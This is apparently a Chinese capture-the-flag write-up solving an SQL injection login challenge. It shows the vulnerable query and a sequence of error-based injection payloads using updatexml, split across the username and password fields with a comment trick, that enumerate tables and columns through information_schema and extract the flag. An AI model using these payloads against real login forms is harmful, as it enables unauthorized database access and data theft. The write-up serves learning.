/\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*/

/\* 程序作者：爱的伊苏 \*/

/\* 程序完成时间：2019/2/6 \*/

/\* 有任何问题请联系：740531307@qq.com \*/

/\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*/

//@永远得意的笑下去

推荐使用firefox的HackBar插件，自带POST功能

$sql="select \* from users where username='$username' and password='$password'";

为源码所给提示

username=' or updatexml/\*&password=\*/(1,concat(0x3a,(select user())),1) or '  
这里username最后为 /\* 而password最前面为\*/  在拼接的时候就实现了/\* \*/注释功能

出题人的意图就是左边不能出现括号，右边不能出现报错函数名

username=' or updatexml/\*&password=\*/(1,concat(0x3a,(select group\_concat(table\_name) from information\_schema.tables where table\_schema regexp database())),1) or '  
得到  
ffll44jj

爆列名  
username=' or updatexml/\*&password=\*/(1,concat(0x3a,(select group\_concat(column\_name) from information\_schema.columns where table\_name regexp 'ffll44jj' )),1) or '  
得到  
value

爆flag  
username=' or updatexml/\*&password=\*/(1,concat(0x3a,(select value from ffll44jj)),1) or '